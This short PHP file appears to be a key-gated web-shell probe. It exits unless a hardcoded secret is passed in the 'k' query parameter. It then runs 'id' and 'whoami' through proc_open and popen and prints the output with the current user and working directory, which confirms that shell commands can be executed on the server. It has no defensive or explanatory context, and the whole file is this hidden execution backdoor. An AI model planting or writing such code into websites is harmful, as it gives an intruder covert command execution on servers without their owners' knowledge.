<?php
$k=$_GET['k']??''; if($k!=='R7xK9mQ2vLp4') exit;
header('Content-Type: text/plain; charset=utf-8');
$d=[1=>['pipe','w'],2=>['pipe','w']];
$p=@proc_open('id',$d,$pp);
if(is_resource($p)){
    $o=stream_get_contents($pp[1]).stream_get_contents($pp[2]);
    fclose($pp[1]);fclose($pp[2]);proc_close($p);
    echo "PROC_OPEN: $o\n";
} else {
    echo "PROC_OPEN FAILED\n";
}
$h=@popen('whoami','r');
if(is_resource($h)){ $o=''; while(!feof($h)) $o.=fread($h,4096); pclose($h); echo "POPEN: $o\n"; }
else { echo "POPEN FAILED\n"; }
echo "USER: ".@get_current_user()."\n";
echo "CWD: ".@getcwd()."\n";